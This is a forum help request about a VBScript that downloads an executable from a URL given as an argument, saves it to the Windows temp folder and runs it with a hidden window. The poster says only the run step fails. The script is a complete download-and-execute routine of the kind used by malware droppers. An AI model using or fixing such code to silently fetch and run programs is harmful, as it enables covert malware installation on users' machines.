Тема: Error with a Downloader in VBS
Hi,
I'm trying to automate things around here and i came across this vbs code but it isn't working. The script is able to connect/download a file but it doesn't execute.
The vbs script is run with the following arguments...
vbs.vbs http://127.0.0.1/file.exe c:\windows\temp\file.exe
The vbs script code is...
If WScript.Arguments.Count < 1 Then WScript.Quit
'----------------------------------------------------------------------
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFile = WScript.Arguments.Item(0)
objFile2 = WScript.Arguments.Item(1)
'----------------------------------------------------------------------
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", ""+objFile+"", False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile ""+objFile2+"", 2 '
end with
Set objShell = WScript.CreateObject("WScript.Shell")
objShell.Run(""+objFile2+""), 0, True
As i said all is working except the execution part.